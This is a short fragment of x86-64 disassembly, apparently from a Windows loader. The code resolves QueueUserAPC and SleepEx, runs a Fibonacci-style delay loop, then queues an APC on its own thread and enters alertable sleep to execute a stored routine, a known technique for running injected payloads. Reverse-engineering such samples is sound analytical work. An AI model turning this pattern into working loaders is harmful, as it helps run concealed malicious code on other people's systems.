add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0x4b8
jle 0x140002864
mov rax, qword [rbp + 0x658]
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x7b8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov dword [rbp + 0x7d4], 0
mov dword [rbp + 0x7d0], 1
mov dword [rbp + 0x7cc], 0
mov dword [rbp + 0x63c], 0x27c
jmp 0x140002a7c
mov edx, dword [rbp + 0x7d4]
mov eax, dword [rbp + 0x7d0]
add eax, edx
mov dword [rbp + 0x62c], eax
add dword [rbp + 0x7cc], 1
mov eax, dword [rbp + 0x7d0]
mov dword [rbp + 0x7d4], eax
mov eax, dword [rbp + 0x62c]
mov dword [rbp + 0x7d0], eax
mov eax, dword [rbp + 0x7cc]
cmp eax, dword [rbp + 0x63c]
jl 0x140002a49
mov rax, qword [rbp + 0x7b8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x648]
mov r9, qword [rbp + 0x640]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x630]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x8e0
pop rsi
pop rdi
pop rbp
ret